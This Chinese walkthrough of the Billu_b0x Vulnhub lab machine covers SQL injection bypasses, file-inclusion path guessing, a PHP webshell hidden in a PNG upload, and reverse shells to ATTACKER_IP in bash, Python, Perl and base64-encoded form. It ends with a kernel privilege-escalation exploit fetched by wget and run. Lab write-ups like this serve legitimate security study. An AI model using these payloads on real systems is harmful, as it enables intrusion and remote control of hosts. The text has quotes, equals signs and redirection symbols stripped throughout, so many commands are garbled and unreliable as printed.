Billu_b0x靶机渗透中的5个关键转折点:那些手册不会告诉你的实战经验

张开发
2026/4/3 17:29:17 15 分钟阅读
Billu_b0x靶机渗透中的5个关键转折点:那些手册不会告诉你的实战经验
Billu_b0x靶机渗透中的5个关键转折点那些手册不会告诉你的实战经验当你第一次面对Billu_b0x这样的Vulnhub靶机时教科书式的渗透测试流程往往会在实战中遭遇各种意外。本文将分享我在攻克这个靶机过程中遇到的五个关键转折点以及那些标准教程中不会提及的实战技巧。1. 当SQL注入被过滤时的三种迂回策略大多数教程会告诉你直接使用admin or 11这样的经典payload但现实情况往往更复杂。在Billu_b0x中当发现单引号被过滤时我尝试了以下三种替代方案十六进制编码绕过将payload转换为十六进制格式SELECT * FROM auth WHERE uname0x61646d696e27206f72202731273d2731注释符变体尝试不同的注释符号组合admin/*!or*/11--参数污染攻击利用HTTP参数解析差异POST /index.php HTTP/1.1 ... unameadmin/*uname*/or11--最终让我突破防线的是发现密码字段的过滤比用户名字段更严格于是调整攻击向量将注入点集中在用户名字段。2. 文件包含漏洞的路径爆破艺术/test.php页面暴露出文件包含漏洞但直接尝试/etc/passwd却失败了。这时需要系统性地进行路径猜测常用敏感文件路径表文件类型Linux常见路径Windows常见路径密码文件/etc/passwdC:\Windows\System32\config\SAM配置文件/var/www/html/config.phpC:\inetpub\wwwroot\web.config日志文件/var/log/apache2/access.logC:\Windows\System32\LogFiles\HTTPERR\httperr1.log我使用Burp Intruder配合以下payload集进行爆破# 路径爆破字典生成脚本 prefixes [/var/www/html/, /opt/lampp/htdocs/, /usr/local/apache2/htdocs/] files [config.php, db_conn.php, settings.inc.php] for prefix in prefixes: for file in files: print(prefix file)最终通过/var/www/phpmy/config.inc.php获取到数据库凭证这个路径在标准phpMyAdmin安装中并不常见。3. 图片马背后的MIME类型陷阱文件上传功能限制只能上传图片但常规的图片马制作方法在这里会失败因为靶机做了严格的MIME类型检查。关键突破点使用真实的图片文件作为载体# 创建真实的PNG文件 convert -size 100x100 xc:white payload.png # 追加PHP代码 echo ?php system($_GET[cmd]);? payload.pngBurpSuite修改Content-TypeContent-Disposition: form-data; nameimage; filenamepayload.png Content-Type: image/png双重扩展名绕过filenameshell.php.png上传成功后通过文件包含漏洞触发时必须使用完整的路径http://192.168.33.131/test.php?file./uploaded_images/payload.pngcmdid4. 反弹Shell的编码避坑指南当获得命令执行能力后反弹Shell的构造需要特别注意字符转义问题。以下是几种可靠的方法方法对比表方法命令示例优点缺点Bash TCPbash -i /dev/tcp/ATTACKER_IP/4444 01直接可能被过滤Pythonpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ATTACKER_IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);灵活需要Python环境Perlperl -e use Socket;$iATTACKER_IP;$p4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);};兼容性好语法复杂在Billu_b0x中我发现必须对特殊字符进行URL编码才能成功执行cmdecho%20ZWNobyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEzMC80NDQ0IDA%2BJjEiIHwgYmFzaA%3D%3D%20|%20base64%20-d%20|%20bash5. 内核提权中的编译陷阱找到合适的本地提权漏洞(CVE-2013-2094)只是开始实际编译执行时会遇到多个问题gcc版本不兼容靶机中的gcc版本较旧需要添加编译参数gcc -Wl,--hash-styleboth 37292.c -o exp缺少依赖库解决方法是静态编译gcc -static 37292.c -o exp内存地址偏移调整需要根据实际内核版本修改exploit中的偏移量// 原代码 #define TARGET_OFFSET 0xffffffff810a14f0 // 修改为 #define TARGET_OFFSET 0xffffffff810a1500最终通过以下步骤成功提权# 在攻击机准备exp gcc -static -Wl,--hash-styleboth 37292.c -o exp python3 -m http.server 80 # 在靶机下载执行 wget http://ATTACKER_IP/exp chmod x exp ./exp渗透测试中最有价值的经验往往来自那些看似失败的尝试。在Billu_b0x的挑战中正是那些不符合预期的情况教会了我最多的实战技巧。记住当标准方法失效时往往意味着你即将学到真正有用的东西。

更多文章